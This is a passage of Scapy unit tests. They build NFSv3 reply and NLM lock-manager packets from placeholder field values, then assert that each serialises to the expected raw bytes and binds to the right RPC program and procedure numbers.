b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\xff\xff\xff\xff\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff' pkt = COMMIT_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), verifier=0xffffffffffffffff ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\xff\xff\xff\xff\xff\xff\xff\xff' pkt = SETATTR_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = FSSTAT_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), tbytes=1, fbytes=2, abytes=3, tfiles=4, afiles=5, invarsec=6 ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x06' pkt = CREATE_Reply( status=0, handle_follows=1, filehandle=File_Object( length=4, fh='file' ), attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_before=1, dir_attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, dir_attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = REMOVE_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = READDIR_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), verifier=0xffffffffffffffff, value_follows=1, files=[ File_From_Dir( fileid=1, filename=Object_Name( length=5, _name='file1', fill='\x00\x00\x00' ), cookie=0xaaaaaaaaaaaaaaaa, value_follows=0 ) ], eof=1 ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05file1\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x01' pkt = RENAME_Reply( status=0, af_before_f=1, attributes_before_f=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after_f=1, attributes_after_f=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_before_t=1, attributes_before_t=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after_t=1, attributes_after_t=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = LINK_Reply( status=0, af_file=1, file_attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_link_before=1, link_attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_link_after=1, link_attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = RMDIR_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = READLINK_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), filename=Object_Name( length=4, _name='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x04file' pkt = READ_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), count=8, eof=1, data_length=8, data='\x00\x01\x02\x03\x04\x05\x06\x07' ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x08\x00\x01\x02\x03\x04\x05\x06\x07' pkt = MKDIR_Reply( status=0, handle_follows=1, filehandle=File_Object( length=4, fh='file' ), attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_before=1, dir_attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, dir_attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = SYMLINK_Reply( status=0, handle_follows=1, filehandle=File_Object( length=4, fh='file' ), attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_before=1, dir_attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, dir_attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' ================================================ FILE: test/contrib/nlm.uts ================================================ % Tests for nlm module ############ ############ + Packet creation tests = Create subpackets File_Object() NLM4_Cookie() Object_Name() = Create nlm Calls SHARE_Call() UNSHARE_Call() LOCK_Call() UNLOCK_Call() GRANTED_MSG_Call() GRANTED_RES_Call() CANCEL_Call() TEST_Call() = Create nlm Replies SHARE_Reply() UNSHARE_Reply() LOCK_Reply() UNLOCK_Reply() GRANTED_MSG_Reply() GRANTED_RES_Reply() CANCEL_Reply() TEST_Reply() + Layer bindings tests = RPC Layer Bindings for NLM Calls from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Call()/SHARE_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 20) pkt = RPC()/RPC_Call()/UNSHARE_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 21) pkt = RPC()/RPC_Call()/LOCK_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 2) pkt = RPC()/RPC_Call()/UNLOCK_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 4) pkt = RPC()/RPC_Call()/GRANTED_MSG_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 10) pkt = RPC()/RPC_Call()/GRANTED_RES_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 15) pkt = RPC()/RPC_Call()/CANCEL_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 3) pkt = RPC()/RPC_Call()/TEST_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 1) = RPC Layer Bindings for NLM Replies from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Reply()/SHARE_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/UNSHARE_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/LOCK_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/UNLOCK_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/GRANTED_MSG_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/GRANTED_RES_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/CANCEL_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/TEST_Reply() assert pkt.mtype == 1 + Test Built Packets Against Raw Strings = Built NLM Calls vs Raw Strings pkt = SHARE_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), mode=1, access=2, reclaim='YES' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01' pkt = UNSHARE_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), mode=1, access=2, reclaim='YES' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01' pkt = LOCK_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), block='YES', exclusive='YES', caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3, reclaim=1, state=4 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x04' pkt = UNLOCK_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03' pkt = GRANTED_MSG_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), exclusive='YES', caller=Object_Name( length=6, _name='CALLER', 